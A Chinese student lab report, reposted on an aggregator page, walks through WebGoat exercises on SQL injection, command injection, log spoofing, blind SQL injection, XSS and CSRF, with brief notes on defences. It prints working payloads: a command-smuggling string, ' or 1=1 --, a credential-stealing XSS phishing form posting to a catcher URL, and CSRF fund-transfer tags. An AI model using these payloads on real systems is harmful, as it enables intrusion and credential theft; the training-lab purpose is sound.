日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

2018-2019 20165208 网络对抗 Exp9 Web安全基础

發(fā)布時間:2024/8/26 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2018-2019 20165208 网络对抗 Exp9 Web安全基础 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

目錄

  • 2018-2019 20165208 網(wǎng)絡(luò)對抗 Exp9 Web安全基礎(chǔ)
    • 實(shí)驗內(nèi)容
    • 基礎(chǔ)問題回答
    • 實(shí)踐過程記錄
      • 1. WebGoat準(zhǔn)備
      • 2. SQL注入攻擊
      • 2.1 Command Injection 命令注入
      • 2.2 日志欺騙(Log Spoofing)
      • 2.3 LAB:SQL Injection
      • 2.4 數(shù)字型盲注入(Blind Numeric SQL Injection)
      • 3. XSS攻擊
      • 3.1 Phishing with XSS 跨站腳本釣魚攻擊
      • 3.2 Stored XSS Attacks 存儲型XSS攻擊
      • 3.3 Reflected XSS Attacks 反射型XSS攻擊
      • 4.CSRF
      • 4.1 Cross Site Request Forgery(CSRF)
      • 4.2CSRF Prompt By-Pass
    • 實(shí)驗感悟

2018-2019 20165208 網(wǎng)絡(luò)對抗 Exp9 Web安全基礎(chǔ)

實(shí)驗內(nèi)容

(1)SQL

(2)XSS

(3)CSRF

基礎(chǔ)問題回答

(1)SQL注入攻擊原理,如何防御

原理:

通過在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符,實(shí)現(xiàn)引號閉合、注釋部分SQL語句,利用永真式實(shí)現(xiàn)登錄、顯示信息等目的。其實(shí)就是輸入框中的字符提交到后臺的數(shù)據(jù)庫中會與SQL語句組合拼接,如果猜測出后臺的SQL語句格式,然后有針對性的輸入,就可以達(dá)到相應(yīng)目的。

防御辦法:

可以在后臺控制輸入的長度或者禁止用戶輸入一些特殊符號,例如 -- 、' 等。
可以通過JAVA中的綁定變量等方法進(jìn)行預(yù)防,JAVA的綁定變量方法是吧用戶的輸入作為一種變量,對SQL語句進(jìn)行預(yù)編譯,這樣在執(zhí)行時就不是順序執(zhí)行,而是把輸入作為一種變量進(jìn)行處理,不會在運(yùn)行時進(jìn)行動態(tài)的拼接SQL語句,防止了惡意的攻擊代碼被寫入SQL語句進(jìn)行解析和執(zhí)行。

(2)XSS攻擊的原理,如何防御

原理:

攻擊者往Web頁面里插入惡意html標(biāo)簽或者javascript代碼,當(dāng)用戶瀏覽該頁或者進(jìn)行某些操作時,攻擊者利用用戶對原網(wǎng)站的信任,誘騙用戶或瀏覽器執(zhí)行一些不安全的操作或者向其它網(wǎng)站提交用戶的私密信息。

防御辦法:

用戶角度:提高防范意識,不要輕易輸入個人信息,如用戶名密碼。

網(wǎng)頁編寫者角度:在輸入到輸出的過程中進(jìn)行過濾、轉(zhuǎn)義

eg:①過濾標(biāo)記,XSS跨站攻擊的最終目標(biāo)是引入script代碼在用戶的瀏覽器中執(zhí)行,所以最基本最簡單的過濾方法,就是轉(zhuǎn)換標(biāo)記。

②HTML屬性過濾,一旦用戶輸入的語句中含有javascript,jscript,vbscript,都用空白代替。

③過濾特殊字符:&、回車和空格。

(3)CSRF攻擊原理,如何防御

原理:

CSRF就是冒名登錄。跨站請求偽造的核心本質(zhì)是竊取用戶的Session,或者說Cookie,因為目前主流情況Session都是存在Cookie中.攻擊者并不關(guān)心被害者具體帳號和密碼,因為一旦用戶進(jìn)行了登錄,Session就是用戶的唯一憑證,只要攻擊者能夠得到Session,就可以偽裝成被害者進(jìn)入服務(wù)器。

主要是當(dāng)訪問網(wǎng)站A時輸入用戶名和密碼,在通過驗證后,網(wǎng)站A產(chǎn)生Cookie信息并返回,此時登錄網(wǎng)站A成功,可正常發(fā)送請求到網(wǎng)站A。在未退出網(wǎng)站A前,若訪問另一個網(wǎng)站B,網(wǎng)站B可返回一些攻擊性代碼并請求訪問網(wǎng)站A;因此在網(wǎng)站B的請求下,向網(wǎng)站A發(fā)出請求。但網(wǎng)站A不知道該請求惡意的,因此還是會執(zhí)行該惡意代碼。

防御辦法:

盡量別讓瀏覽器記住密碼,這樣就沒有cookie了,也沒有可獲取的東西。此外,可以在form中包含秘密信息、用戶指定的代號作為cookie之外的驗證。

“雙提交”cookie。某個授權(quán)的cookie在form post之前正被JavaScript代碼讀取,那么限制跨域規(guī)則將被應(yīng)用。服務(wù)器需要在Post請求體或者URL中包含授權(quán)cookie的請求,那么這個請求必須來自于受信任的域。

實(shí)踐過程記錄

1. WebGoat準(zhǔn)備

WebGoat是OWASP組織研制出的用于進(jìn)行web漏洞實(shí)驗的應(yīng)用平臺,用來說明web應(yīng)用中存在的安全漏洞。WebGoat運(yùn)行在帶有java虛擬機(jī)的平臺之上,當(dāng)前提供的訓(xùn)練課程有30多個,其中包括:跨站點(diǎn)腳本攻擊(XSS)、訪問控制、線程安全、操作隱藏字段、操縱參數(shù)、弱會話cookie、SQL盲注、數(shù)字型SQL注入、字符串型SQL注入、web服務(wù)、Open Authentication失效、危險的HTML注釋等等。WebGoat提供了一系列web安全學(xué)習(xí)的教程,某些課程也給出了視頻演示,指導(dǎo)用戶利用這些漏洞進(jìn)行攻擊。
  • 下載webgoat-container-7.0.1-war-exec.jar文件
下載地址為:https://github.com/WebGoat/WebGoat/releases ,在最下面的“The OWASP WebGoat 7.0.1 Release”中,選擇webgoat-container-7.0.1-war-exec.jar文件進(jìn)行下載
  • 終止占用8080端口的其他進(jìn)程

因WebGoat默認(rèn)使用8080端口,所以開啟前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 8080終止占用8080端口的進(jìn)程。

  • 開啟WebGoat

在含有“webgoat-container-7.0.1-war-exec.jar”文件的目錄下執(zhí)行java -jar webgoat-container-7.0.1-war-exec.jar運(yùn)行Webgoat,出現(xiàn)信息: Starting ProtocolHandler ["http-bio-8080"]說明開啟成功,可以看到占用8080端口,實(shí)驗過程中不能關(guān)閉終端

  • 瀏覽器打開WebGoat

在瀏覽器中輸入http://localhost:8080/WebGoat進(jìn)入WebGoat登錄界面,直接用默認(rèn)用戶名密碼登錄即可;

2. SQL注入攻擊

2.1 Command Injection 命令注入

  • 右鍵點(diǎn)擊頁面,選擇inspect Element審查網(wǎng)頁元素對源代碼進(jìn)行修改,在復(fù)選框中任意一欄的代碼后添加"& netstat -an & ipconfig"

  • 點(diǎn)擊view,能看到網(wǎng)絡(luò)端口使用情況和 IP 地址,攻擊成功

2.2 日志欺騙(Log Spoofing)

  • 在username中填入5208%0d%0aLogin Succeeded for username: admin,利用回車(0D%)和換行符(%0A)讓其在日志中兩行顯示

  • 點(diǎn)擊Login,可見5208在Login Fail那行顯示,我們自己添加的語句在下一行顯示:

  • 進(jìn)而,我們思考,可以向日志文件中添加惡意腳本,腳本的返回信息管理員能夠通過瀏覽器看到。

  • 用戶名輸入admin ,管理員可以看到彈窗的cookie信息。

2.3 LAB:SQL Injection

  • 在密碼框輸入' or 1=1 --,登錄失敗用Firebug查看網(wǎng)頁源碼,發(fā)現(xiàn)密碼長度有限制

  • 將密碼長度maxlength改為100

  • 再次嘗試,登錄成功

2.4 數(shù)字型盲注入(Blind Numeric SQL Injection)

  • 本節(jié)課程中,服務(wù)端頁面返回的信息只有兩種:帳號有效或無效。因此無法簡單地查詢到帳號的PIN數(shù)值。盡管如此,我們可以利用系統(tǒng)后臺在用的查詢語句SELECT * FROM user_data WHERE userid=accountNumber;

  • 如果該查詢語句返回了帳號的信息,頁面將提示帳號有效,否則提示無效。使用 AND 函數(shù),我們可以添加一些額外的查詢條件。如果該查詢條件同樣為真,則返回結(jié)果應(yīng)提示帳 號有效,否則無效。

  • 輸入查詢語句101 AND 1=1 ,因為兩個條件都成立,所以頁面返回帳號有效

  • 輸入查詢語句101 AND 1=2,因為第二個條件不成立,所以而頁面返回帳號無效

  • 針對查詢語句的后半部分構(gòu)造復(fù)雜語句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

  • 頁面提示帳號無效,說明PIN<=10000;不斷調(diào)整數(shù)值,可以利用二分法,最終判斷出PIN數(shù)值的大小為2364

3. XSS攻擊

3.1 Phishing with XSS 跨站腳本釣魚攻擊

跨站腳本攻擊是通過HTML注入劫持用戶的瀏覽器,任意構(gòu)造用戶當(dāng)前瀏覽的HTML內(nèi)容,可以模擬用戶當(dāng)前的操作。這里實(shí)驗的是一種獲取用戶名和密碼的攻擊.

  • 在webgoat找到Cross-Site Scripting (xss)攻擊打開第一個——Phishing with XSS

  • 將下面這段代碼輸入到"Search:"輸入框中,點(diǎn)擊search;

<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div></div></div> </form><script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR><H2>This feature requires account login:</H2> <br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"> <br><input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
  • 結(jié)果會出現(xiàn)代碼中所指定的綠、紅、藍(lán)三塊div,并在下方出現(xiàn)了用于欺騙用戶的提示語“This feature requires account login:”和用戶名、密碼輸入框。

  • 如果真的在登錄框中輸入用戶名、密碼,eg:20165208 1234,點(diǎn)擊登錄后,會像代碼中alert提示的,顯示被竊取的用戶名和密碼。

3.2 Stored XSS Attacks 存儲型XSS攻擊

存儲型XSS的攻擊基本流程:

比如在某個論壇提供留言板功能,黑客在留言板內(nèi)插入惡意的html或者Javascript代碼,并且提交。 網(wǎng)站后臺程序?qū)⒘粞詢?nèi)容存儲在數(shù)據(jù)中 然后一個用戶也訪問這個論壇,并刷新了留言板,這時網(wǎng)站后臺從數(shù)據(jù)庫中讀取了之前黑客的留言內(nèi)容,并且直接插入在html頁面中,這就可能導(dǎo)致:黑客留言的腳本本身應(yīng)該作為內(nèi)容顯示在留言板的,但此時黑客的留言腳本被瀏覽器解釋執(zhí)行。黑客的腳本可以用來做如下所述的攻擊:1.通過javascript獲取用戶的cookie,根據(jù)這個cookie竊取用戶信息 2.重定向網(wǎng)站到一個釣魚網(wǎng)站 3.重新更改頁面內(nèi)容,假裝讓客戶輸入用戶名,密碼,然后提交到黑客的服務(wù)器

我們就來試試第三個,獲取用戶名和密碼吧~

  • 打開Cross-Site Scripting (xss)攻擊中的第二個:Stored XSS Attacks

  • 在Message框中輸入上面那段代碼,并點(diǎn)擊submit,Title隨便輸入,我輸入了自己的學(xué)號

<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div></div></div> </form><script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR><H2>This feature requires account login:</H2> <br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"> <br><input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
  • 提交后,下方“Message List”中會新增剛輸入的Tile名字的鏈接,點(diǎn)擊鏈接。

  • 可以看到我們的html已經(jīng)注入成功,messege部分顯示的是綠、紅、藍(lán)三色框,在下方用戶名密碼處輸入,eg:20165208 12345,點(diǎn)擊提交后,被成功獲取用戶名和密碼:

3.3 Reflected XSS Attacks 反射型XSS攻擊

反射型XSS:我們在訪問一個網(wǎng)頁的時候,在URL后面加上參數(shù),服務(wù)器根據(jù)請求的參數(shù)值構(gòu)造不同的HTML返回。 value可能出現(xiàn)在返回的HTML(可能是JS,HTML某元素的內(nèi)容或者屬性)中, 如果將value改成可以在瀏覽器中被解釋執(zhí)行的東西,就形成了反射型XSS. 別人可能修改這個value值,然后將這個惡意的URL發(fā)送給你,當(dāng)URL地址被打開時, 特有的惡意代碼參數(shù)就會被HTML解析執(zhí)行. 它的特點(diǎn)是非持久化,必須用戶點(diǎn)擊帶有特定參數(shù)的鏈接才能引起。存儲型XSS與反射型XSS的區(qū)別:存儲型XSS,持久化,代碼是存儲在服務(wù)器中的,如在個人信息或發(fā)表文章等地方,加入代碼,如果沒有過濾或過濾不嚴(yán),那么這些代碼將儲存到服務(wù)器中,用戶訪問該頁面的時候觸發(fā)代碼執(zhí)行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie等。反射型XSS,非持久化,需要欺騙用戶自己去點(diǎn)擊鏈接才能觸發(fā)XSS代碼(服務(wù)器中沒有這樣的頁面和內(nèi)容),一般容易出現(xiàn)在搜索頁面。
  • 打開xss的第三個攻擊Reflected XSS Attacks

  • 在“Enter your three digit access code:”中輸入<script>alert("I am 20165208");</script>
    點(diǎn)擊Purchase,成功顯示警告框,內(nèi)容為我們script腳本指定的內(nèi)容:

  • 假如我們輸入前面編寫的腳本,原理相同,同樣會成功:
<head> <body><script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR><H2>This feature requires account login:</H2> <br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"> <br><input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>

4.CSRF

4.1 Cross Site Request Forgery(CSRF)

CSRF攻擊介紹:跨站請求偽造,盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點(diǎn)內(nèi)的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網(wǎng)站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進(jìn)行防范的資源也相當(dāng)稀少)和難以防范,所以被認(rèn)為比XSS更具危險性。目標(biāo):這次攻擊向新聞組發(fā)送一封email。這個email包含一個image,其URL指向一個惡意請求。
  • 打開Cross-Site Scripting (xss)攻擊中的第四個:Cross Site Request Forgery(CSRF)

  • 查看頁面下方Parameters中的src和menu值,分別為280和900。
  • 在message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />,以圖片的的形式將URL放進(jìn)Message框,這時的URL對其他用戶是不可見的,用戶一旦點(diǎn)擊圖片,就會觸發(fā)一個CSRF事件,點(diǎn)擊Submit提交

這里src值、menu值要根據(jù)上一步查看的結(jié)果修改,轉(zhuǎn)賬數(shù)額隨便輸入,eg:5000 寬高設(shè)置成1像素的目的是隱藏該圖片
  • 提交后,在Message List中生成以Title命名的鏈接(消息)。點(diǎn)擊該消息,當(dāng)前頁面就會下載這個消息并顯示出來,轉(zhuǎn)走用戶的5000元,從而達(dá)到CSRF攻擊的目的。

  • 如圖所示,攻擊成功

4.2CSRF Prompt By-Pass

  • 打開Cross-Site Scripting (xss)攻擊中的第五個:CSRF Prompt By-Pass

  • 同攻擊4,查看頁面下側(cè)Parameters中的src和menu值(529和900),并在title框中輸入學(xué)號,message框中輸入代碼:

<iframe src="attack?Screen=529&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=529&menu=900&transferFunds=CONFIRM"> </iframe>
  • 在Message List中生成以Title命名的鏈接"5"。

  • 點(diǎn)擊進(jìn)入后,如圖攻擊成功:

實(shí)驗感悟

安裝webgoat時碰到登錄成功后卻無法顯示教程的問題,原因我后來了解到是由于jdk版本不同,解決方法很簡單——換個虛擬機(jī),不行就再換一個!或者也可以選擇換一個版本的webgoat安裝包。

轉(zhuǎn)載于:https://www.cnblogs.com/KY-high/p/10925771.html

總結(jié)

以上是生活随笔為你收集整理的2018-2019 20165208 网络对抗 Exp9 Web安全基础的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。